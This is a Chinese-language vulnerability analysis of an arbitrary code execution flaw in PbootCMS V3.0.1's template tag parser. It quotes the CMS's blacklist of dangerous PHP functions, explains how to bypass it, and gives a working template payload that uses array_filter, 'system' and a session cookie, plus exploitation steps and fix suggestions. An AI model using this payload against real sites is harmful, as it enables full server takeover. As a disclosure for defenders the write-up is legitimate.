PbootCMS V3.0.1任意代码执行
字数 1034 2025-08-20 18:17:53
PbootCMS V3.0.1 任意代码执行漏洞分析与利用
漏洞概述
PbootCMS V3.0.1 版本存在一个任意代码执行漏洞,攻击者可以通过精心构造的模板标签实现远程代码执行。该漏洞源于模板解析过程中的过滤不严,结合PHP函数特性可实现绕过安全限制。
漏洞背景
在PbootCMS 2.0.9版本的分析中,发现某些利用方法在Nginx环境下无法使用。为解决这个问题并寻找新版本可用的利用方法,对3.0.1版本进行了进一步分析。
环境准备
- 下载源码:https://gitee.com/hnaoyun/PbootCMS (版本V3.0.1,更新时间为2020-07-09)
- 安装后需要从https://www.pbootcms.com/freesn/获取授权码
漏洞分析
关键代码位置
漏洞主要位于apps/home/controller/ParserController.php文件中的parserIfLabel方法。
安全过滤机制
系统有两处关键过滤:
- 函数名过滤:
if (preg_match_all('/([\w]+)(?:\s*)\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && !in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
- 黑名单过滤:
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)/i', $matches[1][$i]))
绕过方法
-
第一处过滤绕过:
- 在函数名和括号之间插入控制字符来绕过校验
-
第二处过滤绕过:
- 使用
array_filter函数实现代码执行,例如:array_filter(['whoami'],'system'); - 绕过
system检测:将system放到header头中,使用session_id(session_start())方法获取session值
- 使用
-
冒号替换绕过:
- 系统会替换
:为@符号 - 使用反斜杠进行绕过:
{pboot\:if}{/pboot\:if} - 反斜杠会被写入数据库,在渲染时调用
stripcslashes函数删除反斜杠(位于core/function/handle.php)
- 系统会替换
漏洞利用
利用步骤
-
登录后台,进入"站点信息"编辑页面
-
插入恶意代码:
{pboot:if}(array_filter(array(0=>session_id(session_start())),'system')){/pboot:if}
-
访问前台首页,抓取数据包
-
修改Cookie:
- 将cookie中session的配置项改为
system
- 将cookie中session的配置项改为
完整Payload示例
{pboot\:if}(array_filter(array(0=>session_id(session_start())),'system')){/pboot\:if}
修复建议
- 严格过滤模板标签中的特殊字符
- 加强函数调用检查,防止插入控制字符绕过
- 更新到最新版本,官方可能已修复此漏洞
- 限制后台模板编辑权限
总结
该漏洞通过精心构造的模板标签,结合PHP函数特性和系统处理机制,成功绕过多重安全过滤,最终实现任意代码执行。攻击者需要后台编辑权限才能利用此漏洞,但一旦成功利用可完全控制服务器。